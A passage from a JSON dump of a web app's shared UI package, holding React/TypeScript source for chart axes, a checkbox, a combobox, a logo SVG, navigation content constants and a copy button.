fill: (\n            tooltipData\n              ? tooltipData.date === date\n              : highlightLast && idx === length - 1\n          )\n            ? \"#000\"\n            : \"#00000066\",\n        })}\n      />\n      {showGridLines && (\n        <Group left={margin.left} top={margin.top}>\n          {tickValues.length > 0 &&\n            tickValues.map((date) => (\n              <Line\n                key={date.toString()}\n                x1={xScale(date)}\n                x2={xScale(date)}\n                y1={height}\n                y2={0}\n                stroke={\n                  date === tooltipData?.date ? \"transparent\" : \"#00000026\"\n                }\n                strokeWidth={1}\n                strokeDasharray={[startDate, endDate].includes(date) ? 0 : 5}\n              />\n            ))}\n        </Group>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/charts/y-axis.tsx",
    "content": "import { AxisLeft } from \"@visx/axis\";\nimport { Group } from \"@visx/group\";\nimport { Line } from \"@visx/shape\";\nimport { getStringWidth } from \"@visx/text\";\nimport { useLayoutEffect, useMemo } from \"react\";\nimport { useChartContext } from \"./chart-context\";\n\nexport type YAxisProps = {\n  /**\n   * Approximate number of ticks to generate (see d3-array's `ticks`)\n   */\n  numTicks?: number;\n\n  /**\n   * Whether to render dashed grid lines across the chart area\n   */\n  showGridLines?: boolean;\n\n  /**\n   * Whether to only generate integer ticks (no decimals)\n   */\n  integerTicks?: boolean;\n\n  /**\n   * Tick values to override dynamic tick generation\n   */\n  tickValues?: number[];\n\n  /**\n   * Custom formatting function for tick labels\n   */\n  tickFormat?: (value: number) => string;\n\n  /**\n   * Amount of space between tick labels and the axis line / chart area\n   */\n  tickAxisSpacing?: number;\n};\n\nexport function YAxis({\n  numTicks: numTicksProp,\n  showGridLines = false,\n  integerTicks = false,\n  tickValues: tickValuesProp,\n  tickFormat = (value: number) => value.toString(),\n  tickAxisSpacing = 8,\n}: YAxisProps) {\n  const {\n    width,\n    height,\n    margin,\n    yScale,\n    minY,\n    leftAxisMargin,\n    setLeftAxisMargin,\n  } = useChartContext();\n\n  const tickValues = useMemo(() => {\n    if (tickValuesProp) return tickValuesProp;\n\n    const numTicks = numTicksProp ?? height < 350 ? 3 : 4;\n\n    return yScale.ticks(numTicks).filter((value) =>\n      // Both of these reduce the number of ticks farther below numTicks, but this should only affect small ranges\n      value >= minY && integerTicks ? Number.isInteger(value) : true,\n    );\n  }, [tickValuesProp, numTicksProp, height, yScale, integerTicks]);\n\n  useLayoutEffect(() => {\n    const maxWidth =\n      Math.max(\n        ...tickValues.map(\n          (v) => getStringWidth(tickFormat(v), { fontSize: 12 }) ?? 0,\n        ),\n      ) + tickAxisSpacing;\n    if ((leftAxisMargin ?? 0) < maxWidth) setLeftAxisMargin(maxWidth);\n  }, [tickValues, tickAxisSpacing, leftAxisMargin]);\n\n  return (\n    <>\n      <AxisLeft\n        left={margin.left}\n        top={margin.top}\n        scale={yScale}\n        tickValues={tickValues}\n        hideTicks\n        stroke=\"transparent\"\n        tickFormat={(value) => tickFormat(value as number)}\n        tickLength={tickAxisSpacing}\n        tickLabelProps={() => ({\n          fontSize: 12,\n          fill: \"#00000066\",\n          textAnchor: \"end\",\n          verticalAnchor: \"middle\",\n        })}\n      />\n      {showGridLines && (\n        <Group left={margin.left} top={margin.top}>\n          {tickValues.length > 0 &&\n            tickValues.map((value) => {\n              const y = yScale(value);\n              if (y === height) return undefined; // Don't draw grid line at bottom of chart area\n\n              return (\n                <Line\n                  key={value.toString()}\n                  y1={y}\n                  y2={y}\n                  x1={0}\n                  x2={width}\n                  stroke=\"#00000026\"\n                  strokeWidth={1}\n                  strokeDasharray={5}\n                />\n              );\n            })}\n        </Group>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/checkbox.tsx",
    "content": "\"use client\";\n\nimport * as CheckboxPrimitive from \"@radix-ui/react-checkbox\";\n\nimport { cn } from \"@dub/utils\";\nimport { forwardRef } from \"react\";\nimport { Check2, Minus } from \"./icons\";\n\nconst Checkbox = forwardRef<\n  React.ElementRef<typeof CheckboxPrimitive.Root>,\n  React.ComponentPropsWithoutRef<typeof CheckboxPrimitive.Root>\n>(({ className, ...props }, ref) => (\n  <CheckboxPrimitive.Root\n    ref={ref}\n    className={cn(\n      \"peer h-5 w-5 shrink-0 rounded-md border border-neutral-200 bg-white outline-none focus-visible:border-black disabled:cursor-not-allowed disabled:opacity-50 data-[state=checked]:bg-blue-500 data-[state=indeterminate]:bg-blue-500\",\n      className,\n    )}\n    {...props}\n  >\n    <CheckboxPrimitive.Indicator className=\"group/indicator flex items-center justify-center text-white\">\n      <Check2 className=\"size-3 group-data-[state=indeterminate]/indicator:hidden\" />\n      <Minus className=\"size-3 group-data-[state=checked]/indicator:hidden\" />\n    </CheckboxPrimitive.Indicator>\n  </CheckboxPrimitive.Root>\n));\nCheckbox.displayName = CheckboxPrimitive.Root.displayName;\n\nexport { Checkbox };\n"
  },
  {
    "path": "packages/ui/src/client-only.tsx",
    "content": "import { AnimatePresence, motion } from \"motion/react\";\nimport { ReactNode, useEffect, useState } from \"react\";\n\nexport const ClientOnly = ({\n  children,\n  fallback,\n  fadeInDuration = 0.5,\n  className,\n}: {\n  children: ReactNode;\n  fallback?: ReactNode;\n  fadeInDuration?: number;\n  className?: string;\n}) => {\n  const [clientReady, setClientReady] = useState<boolean>(false);\n\n  useEffect(() => {\n    setClientReady(true);\n  }, []);\n\n  const Comp = fadeInDuration ? motion.div : \"div\";\n\n  return (\n    <AnimatePresence>\n      {clientReady ? (\n        <Comp\n          {...(fadeInDuration\n            ? {\n                initial: { opacity: 0 },\n                animate: { opacity: 1 },\n                transition: { duration: fadeInDuration },\n              }\n            : {})}\n          className={className}\n        >\n          {children}\n        </Comp>\n      ) : (\n        fallback || null\n      )}\n    </AnimatePresence>\n  );\n};\n"
  },
  {
    "path": "packages/ui/src/combobox/index.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { Command, useCommandState } from \"cmdk\";\nimport { ChevronDown } from \"lucide-react\";\nimport {\n  forwardRef,\n  HTMLProps,\n  isValidElement,\n  PropsWithChildren,\n  ReactNode,\n  useCallback,\n  useEffect,\n  useState,\n} from \"react\";\nimport { AnimatedSizeContainer } from \"../animated-size-container\";\nimport { Button, ButtonProps } from \"../button\";\nimport { useMediaQuery } from \"../hooks\";\nimport {\n  Check2,\n  CheckboxCheckedFill,\n  CheckboxUnchecked,\n  Icon,\n  LoadingSpinner,\n  Plus,\n} from \"../icons\";\nimport { Popover, PopoverProps } from \"../popover\";\nimport { ScrollContainer } from \"../scroll-container\";\nimport { Tooltip } from \"../tooltip\";\n\nexport type ComboboxOption<TMeta = any> = {\n  label: string | ReactNode;\n  value: string;\n  icon?: Icon | ReactNode;\n  disabledTooltip?: ReactNode;\n  meta?: TMeta;\n  separatorAfter?: boolean;\n  first?: boolean;\n};\n\nexport type ComboboxProps<\n  TMultiple extends boolean | undefined,\n  TMeta extends any,\n> = PropsWithChildren<{\n  multiple?: TMultiple;\n  selected: TMultiple extends true\n    ? ComboboxOption<TMeta>[]\n    : ComboboxOption<TMeta> | null;\n  setSelected?: TMultiple extends true\n    ? (options: ComboboxOption<TMeta>[]) => void\n    : (option: ComboboxOption<TMeta> | null) => void;\n  onSelect?: (option: ComboboxOption<TMeta>) => void;\n  maxSelected?: number;\n  options?: ComboboxOption<TMeta>[];\n  trigger?: ReactNode;\n  icon?: Icon | ReactNode;\n  placeholder?: ReactNode;\n  searchPlaceholder?: string;\n  emptyState?: ReactNode;\n  createLabel?: (search: string) => ReactNode;\n  createIcon?: Icon;\n  onCreate?: (search: string) => Promise<boolean>;\n  buttonProps?: ButtonProps;\n  labelProps?: { className?: string };\n  iconProps?: { className?: string };\n  popoverProps?: { contentClassName?: string };\n  shortcutHint?: string;\n  caret?: boolean | ReactNode;\n  side?: PopoverProps[\"side\"];\n  open?: boolean;\n  onOpenChange?: (open: boolean) => void;\n  onSearchChange?: (search: string) => void;\n  shouldFilter?: boolean;\n  inputRight?: ReactNode;\n  inputClassName?: string;\n  optionRight?: (option: ComboboxOption) => ReactNode;\n  optionClassName?: string;\n  optionDescription?: (option: ComboboxOption<TMeta>) => ReactNode;\n  matchTriggerWidth?: boolean;\n  hideSearch?: boolean;\n  forceDropdown?: boolean;\n}>;\n\nfunction isMultipleSelection(\n  multiple: boolean | undefined,\n  setSelected: any,\n): setSelected is (tags: ComboboxOption[]) => void {\n  return multiple === true;\n}\n\nexport function Combobox({\n  multiple,\n  selected: selectedProp,\n  setSelected,\n  onSelect,\n  maxSelected,\n  options,\n  trigger,\n  icon: Icon,\n  placeholder = \"Select...\",\n  searchPlaceholder = \"Search...\",\n  emptyState,\n  createLabel,\n  createIcon: CreateIcon = Plus,\n  onCreate,\n  buttonProps,\n  labelProps,\n  iconProps,\n  popoverProps,\n  shortcutHint,\n  caret,\n  side,\n  open,\n  onOpenChange,\n  onSearchChange,\n  shouldFilter = true,\n  inputRight,\n  inputClassName,\n  optionRight,\n  optionClassName,\n  optionDescription,\n  matchTriggerWidth,\n  hideSearch = false,\n  forceDropdown = false,\n  children,\n}: ComboboxProps<boolean | undefined, any>) {\n  const isMultiple = isMultipleSelection(multiple, setSelected);\n\n  // Ensure selectedProp is an array\n  const selected = Array.isArray(selectedProp)\n    ? selectedProp\n    : selectedProp\n      ? [selectedProp]\n      : [];\n\n  const { isMobile } = useMediaQuery();\n\n  const [isOpenInternal, setIsOpenInternal] = useState(false);\n  const isOpen = open ?? isOpenInternal;\n  const setIsOpen = onOpenChange ?? setIsOpenInternal;\n\n  const [search, setSearch] = useState(\"\");\n  const [shouldSortOptions, setShouldSortOptions] = useState(false);\n  const [sortedOptions, setSortedOptions] = useState<\n    ComboboxOption[] | undefined\n  >(undefined);\n  const [isCreating, setIsCreating] = useState(false);\n\n  const handleSelect = (option: ComboboxOption) => {\n    const isAlreadySelected = isMultiple\n      ? selected.some(({ value }) => value === option.value)\n      : selected.length && selected[0]?.value === option.value;\n\n    if (!isAlreadySelected && maxSelected && selected.length >= maxSelected)\n      return;\n\n    onSelect?.(option);\n\n    if (isMultiple) {\n      if (!setSelected) return;\n\n      setSelected(\n        isAlreadySelected\n          ? selected.filter(({ value }) => value !== option.value)\n          : [...selected, option],\n      );\n    } else {\n      setSelected?.(\n        selected.length && selected[0]?.value === option.value ? null : option,\n      );\n      setIsOpen(false);\n    }\n  };\n\n  const sortOptions = useCallback(\n    (options: ComboboxOption[], search: string) => {\n      return search === \"\"\n        ? [\n            ...options.filter(\n              (o) => o.first && !selected.some((s) => s.value === o.value),\n            ),\n            ...selected,\n            ...options.filter(\n              (o) => !o.first && !selected.some((s) => s.value === o.value),\n            ),\n          ]\n        : options;\n    },\n    [selected],\n  );\n\n  // Actually sort the options when needed\n  useEffect(() => {\n    if (shouldSortOptions) {\n      setSortedOptions(options ? sortOptions(options, search) : options);\n      setShouldSortOptions(false);\n    }\n  }, [shouldSortOptions, options, sortOptions, search]);\n\n  // Sort options when the options prop changes\n  useEffect(() => {\n    setShouldSortOptions(true);\n  }, [JSON.stringify(options?.map((o) => o.value))]);\n\n  // Reset search and sort options when the popover closes\n  useEffect(() => {\n    if (isOpen) return;\n\n    setSearch(\"\");\n    setShouldSortOptions(true);\n  }, [isOpen]);\n\n  useEffect(() => onSearchChange?.(search), [search]);\n\n  const createOptionItem = (\n    <Command.Item\n      className={cn(\n        \"text-content-default flex cursor-pointer items-center gap-3 whitespace-nowrap rounded-md px-3 py-2 text-left text-sm\",\n        \"data-[selected=true]:bg-bg-subtle\",\n        optionClassName,\n      )}\n      onSelect={async () => {\n        setIsCreating(true);\n        const success = await onCreate?.(search);\n        if (success) {\n          setSearch(\"\");\n          setIsOpen(false);\n        }\n        setIsCreating(false);\n      }}\n    >\n      {isCreating ? (\n        <LoadingSpinner className=\"size-4 shrink-0\" />\n      ) : (\n        <CreateIcon className=\"size-4 shrink-0\" />\n      )}\n      <div className=\"grow truncate\">\n        {createLabel?.(search) ??\n          `Create ${search ? `\"${search}\"` : \"new option...\"}`}\n      </div>\n    </Command.Item>\n  );\n\n  return (\n    <Popover\n      openPopover={isOpen}\n      setOpenPopover={setIsOpen}\n      align=\"start\"\n      side={side}\n      forceDropdown={forceDropdown}\n      onWheel={(e) => {\n        // Allows scrolling to work when the popover's in a modal\n        e.stopPropagation();\n      }}\n      popoverContentClassName={cn(\n        matchTriggerWidth && \"sm:w-[var(--radix-popover-trigger-width)]\",\n        popoverProps?.contentClassName,\n      )}\n      content={\n        <AnimatedSizeContainer\n          width={!isMobile && !matchTriggerWidth}\n          height\n          style={{ transform: \"translateZ(0)\" }} // Fixes overflow on some browsers\n          transition={{ ease: \"easeInOut\", duration: 0.1 }}\n          className=\"pointer-events-auto\"\n        >\n          <Command loop shouldFilter={shouldFilter}>\n            {!hideSearch && (\n              <div className=\"border-border-subtle flex items-center overflow-hidden rounded-t-lg border-b\">\n                <Command.Input\n                  placeholder={searchPlaceholder}\n                  value={search}\n                  onValueChange={setSearch}\n                  className={cn(\n                    \"text-content-emphasis placeholder:text-content-muted grow border-0 bg-transparent py-3 pl-4 pr-2 outline-none focus:ring-0 sm:text-sm\",\n                    inputClassName,\n                  )}\n                  onKeyDown={(e) => {\n                    if (\n                      e.key === \"Escape\" ||\n                      (e.key === \"Backspace\" && !search)\n                    ) {\n                      e.preventDefault();\n                      e.stopPropagation();\n                      setIsOpen(false);\n                    }\n                  }}\n                />\n                {inputRight && <div className=\"mr-2\">{inputRight}</div>}\n                {shortcutHint && (\n                  <kbd className=\"border-border-subtle bg-bg-subtle text-content-subtle mr-2 hidden shrink-0 rounded border px-2 py-0.5 text-xs font-light md:block\">\n                    {shortcutHint}\n                  </kbd>\n                )}\n              </div>\n            )}\n            <ScrollContainer\n              className={cn(\n                \"max-h-[min(50vh,250px)]\",\n                onCreate && !multiple && \"max-h-[calc(min(50vh,250px)-3.5rem)]\",\n              )}\n            >\n              <Command.List\n                className={cn(\"flex w-full min-w-[100px] flex-col gap-1 p-1\")}\n              >\n                {sortedOptions !== undefined ? (\n                  <>\n                    {sortedOptions.map((option) => {\n                      const isSelected = selected.some(\n                        ({ value }) => value === option.value,\n                      );\n                      return (\n                        <Option\n                          key={`${option.label}, ${option.value}`}\n                          option={option}\n                          multiple={isMultiple}\n                          selected={isSelected}\n                          onSelect={() => handleSelect(option)}\n                          disabled={Boolean(\n                            !isSelected &&\n                              maxSelected &&\n                              selected.length >= maxSelected,\n                          )}\n                          right={optionRight?.(option)}\n                          description={optionDescription?.(option)}\n                          className={optionClassName}\n                        />\n                      );\n                    })}\n                    {/* for multiple selection, the create option item is shown at the bottom of the list */}\n                    {onCreate &&\n                      multiple &&\n                      search.length > 0 &&\n                      createOptionItem}\n                    {shouldFilter ? (\n                      <Empty className=\"text-content-subtle flex min-h-12 items-center justify-center text-sm\">\n                        {emptyState ? emptyState : \"No matches\"}\n                      </Empty>\n                    ) : sortedOptions.length === 0 ? (\n                      <div className=\"text-content-subtle flex min-h-12 items-center justify-center text-sm\">\n                        {emptyState ? emptyState : \"No matches\"}\n                      </div>\n                    ) : null}\n                  </>\n                ) : (\n                  // undefined data / explicit loading state\n                  <Command.Loading>\n                    <div className=\"flex h-12 items-center justify-center\">\n                      <LoadingSpinner />\n                    </div>\n                  </Command.Loading>\n                )}\n              </Command.List>\n            </ScrollContainer>\n            {/* for single selection, the create option item is shown as a sticky item outside of the scroll container */}\n            {onCreate && !multiple && (\n              <div className=\"border-border-subtle bg-bg-default rounded-b-lg border-t p-1\">\n                {createOptionItem}\n              </div>\n            )}\n          </Command>\n        </AnimatedSizeContainer>\n      }\n    >\n      {trigger ?? (\n        <Button\n          variant=\"secondary\"\n          {...buttonProps}\n          className={cn(buttonProps?.className, \"flex gap-2\")}\n          textWrapperClassName={cn(\n            buttonProps?.textWrapperClassName,\n            \"w-full flex items-center justify-start\",\n          )}\n          text={\n            <>\n              <div\n                className={cn(\n                  \"min-w-0 grow truncate text-left\",\n                  labelProps?.className,\n                )}\n              >\n                {children ||\n                  selected.map((option) => option.label).join(\", \") ||\n                  placeholder}\n              </div>\n              {caret &&\n                (caret === true ? (\n                  <ChevronDown\n                    className={`text-content-muted ml-1 size-4 shrink-0 transition-transform duration-75 group-data-[state=open]:rotate-180`}\n                  />\n                ) : (\n                  caret\n                ))}\n            </>\n          }\n          icon={\n            Icon ? (\n              isReactNode(Icon) ? (\n                Icon\n              ) : (\n                <Icon className={cn(\"size-4 shrink-0\", iconProps?.className)} />\n              )\n            ) : undefined\n          }\n        />\n      )}\n    </Popover>\n  );\n}\n\nfunction Option({\n  option,\n  onSelect,\n  multiple,\n  selected,\n  disabled,\n  right,\n  description,\n  className,\n}: {\n  option: ComboboxOption;\n  onSelect: () => void;\n  multiple: boolean;\n  selected: boolean;\n  disabled?: boolean;\n  right?: ReactNode;\n  description?: ReactNode;\n  className?: string;\n}) {\n  const hasDescription = Boolean(description);\n  return (\n    <>\n      <DisabledTooltip disabledTooltip={option.disabledTooltip}>\n        <Command.Item\n          className={cn(\n            \"flex cursor-pointer items-center gap-3 rounded-md px-3 py-2 text-left text-sm\",\n            hasDescription ? \"whitespace-normal py-2.5\" : \"whitespace-nowrap\",\n            \"data-[selected=true]:bg-bg-subtle\",\n            Boolean(disabled || option.disabledTooltip) &&\n              \"cursor-not-allowed opacity-50\",\n            className,\n          )}\n          disabled={disabled || !!option.disabledTooltip}\n          onSelect={onSelect}\n          value={option.label + option?.value}\n        >\n          {multiple && (\n            <div className=\"text-content-default shrink-0\">\n              {selected ? (\n                <CheckboxCheckedFill className=\"text-content-default size-4\" />\n              ) : (\n                <CheckboxUnchecked className=\"text-content-muted size-4\" />\n              )}\n            </div>\n          )}\n          <div\n            className={cn(\n              \"flex min-w-0 grow items-center gap-2\",\n              hasDescription && \"flex-col items-start gap-0.5\",\n            )}\n          >\n            {option.icon && (\n              <span className=\"text-content-default shrink-0\">\n                {isReactNode(option.icon) ? (\n                  option.icon\n                ) : (\n                  <option.icon className=\"h-4 w-4\" />\n                )}\n              </span>\n            )}\n            <span\n              className={cn(\n                \"grow\",\n                hasDescription\n                  ? \"text-content-emphasis\"\n                  : \"text-content-default truncate\",\n              )}\n            >\n              {option.label}\n            </span>\n            {hasDescription && (\n              <span className=\"text-content-subtle text-sm\">{description}</span>\n            )}\n          </div>\n          {right}\n          {!multiple && selected && (\n            <Check2 className=\"text-content-default size-4 shrink-0\" />\n          )}\n        </Command.Item>\n      </DisabledTooltip>\n      {option.separatorAfter && (\n        <Command.Separator className=\"bg-border-subtle -mx-1 my-1 h-px\" />\n      )}\n    </>\n  );\n}\n\nconst DisabledTooltip = ({\n  children,\n  disabledTooltip,\n}: PropsWithChildren<{ disabledTooltip: ReactNode }>) => {\n  return disabledTooltip ? (\n    <Tooltip content={disabledTooltip}>\n      <div>{children}</div>\n    </Tooltip>\n  ) : (\n    children\n  );\n};\n\nconst isReactNode = (element: any): element is ReactNode =>\n  isValidElement(element);\n\n// Custom Empty component because our current cmdk version has an issue with first render (https://github.com/pacocoursey/cmdk/issues/149)\nconst Empty = forwardRef<HTMLDivElement, HTMLProps<HTMLDivElement>>(\n  (props, forwardedRef) => {\n    const render = useCommandState((state) => state.filtered.count === 0);\n\n    if (!render) return null;\n    return (\n      <div ref={forwardedRef} cmdk-empty=\"\" role=\"presentation\" {...props} />\n    );\n  },\n);\n"
  },
  {
    "path": "packages/ui/src/composite-logo.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function CompositeLogo({ className }: { className?: string }) {\n  return (\n    <svg\n      width=\"177\"\n      height=\"64\"\n      viewBox=\"0 0 177 64\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={cn(\"h-6 w-auto text-black dark:text-white\", className)}\n    >\n      <path\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        d=\"M106.5 8H112.5V31.8666C112.5 31.911 112.501 31.9554 112.501 31.9999C112.501 32.0444 112.5 32.0888 112.5 32.1332V46H106.5V43.4909C104.232 45.0724 101.475 45.9999 98.5003 45.9999C90.7682 45.9999 84.5 39.7319 84.5 31.9999C84.5 24.2679 90.7682 17.9999 98.5003 17.9999C101.475 17.9999 104.232 18.9274 106.5 20.5089V8ZM98.5 39.9996C102.918 39.9996 106.5 36.418 106.5 31.9998C106.5 27.5816 102.918 24 98.5 24C94.0818 24 90.5 27.5816 90.5 31.9998C90.5 36.418 94.0818 39.9996 98.5 39.9996ZM148.5 8.0001H154.5V20.5096C156.768 18.9278 159.526 18.0002 162.5 18.0002C170.233 18.0002 176.501 24.2682 176.501 32.0002C176.501 39.7322 170.233 46.0002 162.5 46.0002C154.768 46.0002 148.5 39.7322 148.5 32.0002V32.0001V8.0001ZM162.5 39.9997C166.918 39.9997 170.5 36.4181 170.5 31.9999C170.5 27.5817 166.918 24.0001 162.5 24.0001C158.082 24.0001 154.5 27.5817 154.5 31.9999C154.5 36.4181 158.082 39.9997 162.5 39.9997ZM122.5 18H116.5V32C116.5 33.8385 116.862 35.659 117.566 37.3576C118.269 39.0561 119.301 40.5995 120.601 41.8995C121.901 43.1995 123.444 44.2307 125.143 44.9343C126.841 45.6379 128.662 46 130.5 46C132.339 46 134.159 45.6379 135.858 44.9343C137.557 44.2307 139.1 43.1995 140.4 41.8995C141.7 40.5995 142.731 39.0561 143.435 37.3576C144.139 35.659 144.501 33.8385 144.501 32H144.5V18H138.5V32H138.5C138.5 34.1216 137.657 36.1563 136.157 37.6566C134.657 39.1568 132.622 39.9996 130.5 39.9996C128.378 39.9996 126.344 39.1568 124.843 37.6566C123.343 36.1563 122.5 34.1216 122.5 32H122.5V18Z\"\n        fill=\"currentColor\"\n      />\n      <path\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        d=\"M32.5 64C50.1731 64 64.5 49.6731 64.5 32C64.5 20.1555 58.0648 9.81393 48.5 4.28099V31.9999V47.9998H40.5V45.8594C38.1466 47.2207 35.4143 47.9999 32.5 47.9999C23.6634 47.9999 16.5 40.8364 16.5 31.9999C16.5 23.1633 23.6634 15.9999 32.5 15.9999C35.4143 15.9999 38.1466 16.779 40.5 18.1404V1.00812C37.943 0.350018 35.2624 0 32.5 0C14.8269 0 0.500038 14.3269 0.500038 32C0.500038 49.6731 14.8269 64 32.5 64Z\"\n        fill=\"currentColor\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/content.ts",
    "content": "import { ElementType } from \"react\";\nimport {\n  Book2Fill,\n  BriefcaseFill,\n  BulletListFill,\n  DiamondTurnRightFill,\n  DubAnalyticsIcon,\n  DubLinksIcon,\n  DubPartnersIcon,\n  EnvelopeFill,\n  FeatherFill,\n  Github,\n  Go,\n  LifeRingFill,\n  LinkedIn,\n  MicrophoneFill,\n  Php,\n  Python,\n  Ruby,\n  Toggle2Fill,\n  Twitter,\n  Typescript,\n  UsersFill,\n  YouTube,\n} from \"./icons\";\nimport { DubApiIcon } from \"./icons/dub-api\";\nimport { Logo } from \"./logo\";\n\nexport type NavItemChild = {\n  title: string;\n  description?: string;\n  href: string;\n  icon: ElementType;\n  iconClassName?: string;\n};\n\nexport type NavItemChildren = (\n  | NavItemChild\n  | { label: string; items: NavItemChild[] }\n)[];\n\nexport const FEATURES_LIST = [\n  {\n    id: \"links\",\n    title: \"Dub Links\",\n    description: \"Short links with superpowers\",\n    icon: DubLinksIcon,\n    href: \"/links\",\n  },\n  {\n    id: \"partners\",\n    title: \"Dub Partners\",\n    description: \"Grow your revenue with partnerships\",\n    icon: DubPartnersIcon,\n    href: \"/partners\",\n  },\n  {\n    id: \"analytics\",\n    title: \"Dub Analytics\",\n    description: \"Powerful real-time analytics\",\n    icon: DubAnalyticsIcon,\n    href: \"/analytics\",\n  },\n  {\n    id: \"api\",\n    title: \"Dub API\",\n    description: \"Programmatic link creation at scale\",\n    icon: DubApiIcon,\n    href: \"/docs/api-reference/introduction\",\n  },\n  {\n    title: \"Dub Integrations\",\n    description: \"Connect Dub with your favorite tools\",\n    icon: Toggle2Fill,\n    href: \"/integrations\",\n  },\n];\n\nexport const SDKS = [\n  {\n    icon: Typescript,\n    iconClassName: \"py-0.5 group-hover:text-[#3178C6]\",\n    title: \"Typescript\",\n    href: \"/sdks/typescript\",\n  },\n  {\n    icon: Python,\n    iconClassName:\n      \"py-0.5 [&_.snake]:transition-colors group-hover:[&_.snake1]:text-[#3776ab] group-hover:[&_.snake2]:text-[#ffd343]\",\n    title: \"Python\",\n    href: \"/sdks/python\",\n  },\n  {\n    icon: Go,\n    iconClassName: \"group-hover:text-[#00ACD7]\",\n    title: \"Go\",\n    href: \"/sdks/go\",\n  },\n  {\n    icon: Ruby,\n    iconClassName:\n      \"py-[3px] grayscale brightness-150 transition-[filter] group-hover:grayscale-0 group-hover:brightness-100\",\n    title: \"Ruby\",\n    href: \"/sdks/ruby\",\n  },\n  {\n    icon: Php,\n    iconClassName:\n      \"py-[3px] grayscale brightness-150 transition-[filter] group-hover:grayscale-0 group-hover:brightness-100\",\n    title: \"PHP\",\n    href: \"/sdks/php\",\n  },\n];\n\nexport const SOLUTIONS: NavItemChildren = [\n  {\n    icon: DiamondTurnRightFill,\n    title: \"Marketing Attribution\",\n    description: \"Easily track and measure marketing impact\",\n    href: \"/analytics\",\n  },\n  {\n    icon: MicrophoneFill,\n    title: \"Content Creators\",\n    description: \"Intelligent audience insights and link tracking\",\n    href: \"/solutions/creators\",\n  },\n  {\n    icon: UsersFill,\n    title: \"Affiliate Management\",\n    description: \"Manage affiliates and automate payouts\",\n    href: \"/partners\",\n  },\n  {\n    label: \"SDKs\",\n    items: SDKS,\n  },\n];\n\nexport const RESOURCES = [\n  {\n    icon: LifeRingFill,\n    title: \"Help Center\",\n    description: \"Answers to your questions\",\n    href: \"/help\",\n  },\n  {\n    icon: Book2Fill,\n    title: \"Docs\",\n    description: \"Platform documentation\",\n    href: \"/docs\",\n  },\n  {\n    icon: UsersFill,\n    title: \"About\",\n    description: \"Company, values, and team\",\n    href: \"/about\",\n  },\n  {\n    icon: BriefcaseFill,\n    title: \"Careers\",\n    description: \"Join our global, remote team\",\n    href: \"/careers\",\n  },\n  {\n    icon: FeatherFill,\n    title: \"Blog\",\n    description: \"Insights and stories\",\n    href: \"/blog\",\n  },\n  {\n    icon: BulletListFill,\n    title: \"Changelog\",\n    description: \"Releases and updates\",\n    href: \"/changelog\",\n  },\n  {\n    icon: Logo,\n    title: \"Brand Guidelines\",\n    description: \"Logos, wordmark, etc.\",\n    href: \"/brand\",\n  },\n  {\n    icon: EnvelopeFill,\n    title: \"Contact\",\n    description: \"Reach out to support or sales\",\n    href: \"/contact\",\n  },\n];\n\nexport const COMPARE_PAGES = [\n  { name: \"Bitly\", slug: \"bitly\" },\n  { name: \"Rebrandly\", slug: \"rebrandly\" },\n  { name: \"Short.io\", slug: \"short\" },\n  { name: \"Bl.ink\", slug: \"blink\" },\n];\n\nexport const LEGAL_PAGES = [\n  { name: \"Affiliate Program Terms\", slug: \"affiliates\" },\n  { name: \"DPA\", slug: \"dpa\" },\n  { name: \"Partner Terms\", slug: \"partners\" },\n  { name: \"Privacy Policy\", slug: \"privacy\" },\n  { name: \"Report Abuse\", slug: \"abuse\" },\n  { name: \"SLA\", slug: \"sla\" },\n  { name: \"Subprocessors\", slug: \"subprocessors\" },\n  { name: \"Terms of Service\", slug: \"terms\" },\n];\n\nexport const SOCIAL_LINKS = [\n  { name: \"X (Twitter)\", icon: Twitter, href: \"https://x.com/dubdotco\" },\n  {\n    name: \"LinkedIn\",\n    icon: LinkedIn,\n    href: \"https://www.linkedin.com/company/dubinc\",\n  },\n  {\n    name: \"GitHub\",\n    icon: Github,\n    href: \"https://github.com/dubinc/dub\",\n  },\n  {\n    name: \"YouTube\",\n    icon: YouTube,\n    href: \"https://www.youtube.com/@dubdotco\",\n  },\n];\n"
  },
  {
    "path": "packages/ui/src/copy-button.tsx",
    "content": "\"use client\";\nimport { cn } from \"@dub/utils\";\nimport { VariantProps, cva } from \"class-variance-authority\";\nimport { LucideIcon } from \"lucide-react\";\nimport { toast } from \"sonner\";\nimport { useCopyToClipboard } from \"./hooks\";\nimport { Copy, Tick } from \"./icons\";\n\nconst copyButtonVariants = cva(\n  \"relative group rounded-full p-1.5 transition-all duration-75\",\n  {\n    variants: {\n      variant: {\n        default: \"bg-transparent hover:bg-neutral-100 active:bg-neutral-200\",\n        neutral: \"bg-transparent hover:bg-neutral-100 active:bg-neutral-200\",\n      },\n    },\n    defaultVariants: {\n      variant: \"default\",\n    },\n  },\n);\n\nexport function CopyButton({\n  variant = \"default\",\n  value,\n  className,\n  icon,\n  successMessage,\n}: {\n  value: string;\n  className?: string;\n  icon?: LucideIcon;\n  successMessage?: string;\n} & VariantProps<typeof copyButtonVariants>) {\n  const [copied, copyToClipboard] = useCopyToClipboard();\n  const Comp = icon || Copy;\n  return (\n    <button\n      onClick={(e) => {\n        e.stopPropagation();\n        toast.promise(copyToClipboard(value), {\n          success: successMessage || \"Copied to clipboard!\",\n        });\n      }}\n      className={cn(copyButtonVariants({ variant }), className)}\n      type=\"button\"\n    >\n      <span className=\"sr-only\">Copy</span>\n      {copied ? (\n        <Tick className=\"h-3.5 w-3.5\" />\n      ) : (\n        <Comp className=\"h-3.5 w-3.5\" />\n      )}\n    </button>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/copy-text.tsx",
